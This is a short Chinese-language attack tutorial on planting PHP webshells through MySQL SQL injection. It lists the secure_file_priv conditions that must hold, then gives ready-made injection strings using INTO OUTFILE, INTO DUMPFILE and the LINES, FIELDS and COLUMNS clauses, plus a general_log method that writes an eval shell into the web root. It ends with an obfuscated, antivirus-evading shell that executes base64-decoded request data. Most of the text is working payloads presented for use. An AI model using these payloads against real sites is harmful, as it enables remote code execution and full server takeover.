sql注入之文件写入into outfile
sql注入中写入webshell的几种方式
sql注入中写入webshell的几种方式
-
secure_file_priv="c:/…"被注释掉或者是web路径
-
php.ini中的get_magic_quotes_gpc()函数未开启
其中secure_file_priv有三种情况
- 空,表示导入导出没有任何限制
- 有指定路径,比如("c:/xxx/xxx"):只能向指定路径导入导出文件
- null,禁止导入导出
在进行写入websell时,要注意参数secure_file_priv是否有指定路径或者是否为null。最好要获得root权限
0x01
Union select后写入
- union select+into outfile
- ?id=1')) union select 1,2, "<?php @eval($_POST[a]);?>" into outfile "D:/Phpstudy/PHPTutorial/test1.php
Ps:目录分隔符要用斜杠(/)
- union select+into dumpfile
outfile与dumpfile有一定的区别
eg:假设有一个二进制文件,如果用outfile导入,则在导出过程中会被转义从而被破坏,这是只能使用dumpfile函数
Into dumpfile函数不会对任何列行进行终止,也不会执行转义处理
0x02
Lines terminated by
- ?id=1' into outfile 'D:\\Phpstudy\\PHPTutorial\\WWW\\num.php' lines terminated by '<?php phpinfo() ?>'--+
注入原理:select 语句查询的内容写入文件,Lines terminated by语句拼接webshell。
可以理解为:以每行终止的位置添加xx内容
0x03
Lines starting by
- ?id=1' into outfile 'D:\\Phpstudy\\PHPTutorial\\WWW\\num2.php' lines starting by '<?php phpinfo() ?>'--+
Lines starting by 以每行开始的位置添加xx内容
0x04
Fields terminated by
- ?id=1' into outfile 'D:\\Phpstudy\\PHPTutorial\\WWW\\num3.php' fields terminated by '<?php phpinfo() ?>'--+
Fields terminated by 每个字段的间隔中插入xx内容
0x05
Columns terminated by
- ?id=1' into outfile 'D:\\Phpstudy\\PHPTutorial\\WWW\\num4.php' columns terminated by '<?php phpinfo() ?>'--+
Columns terminated by 每个字段的位置添加xx内容
0x06
利用log写入
当无法使用select into outfile写入一句话时,可以通过修改mysql的log文件getshell
(必须获得mysql的root权限)
show variables like '%general%'; #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址
select '<?php eval($_GET[g]);?>' #写入shell
set global general_log=off; #关闭general log模式
流程:
-
开启general log模式
-
修改log根地址
-
写入shell
开启general log模式后,只要是对mysql进行操作的语句都会在log中有记录,修改log根地址后,写入一句话shell就可以利用相对路径
附:
sql查询免杀shell语句
SELECT “<?php $p = array(‘f’=>’a’,’pffff’=>’s’,’e’=>’fffff’,’lfaaaa’=>’r’,’nnnnn’=>’t’);$a = array_keys($p);$_=$p[‘pffff’].$p[‘pffff’].$a[2];$_= ‘a’.$_.’rt';$_(base64_decode($_REQUEST[‘username’]));?>”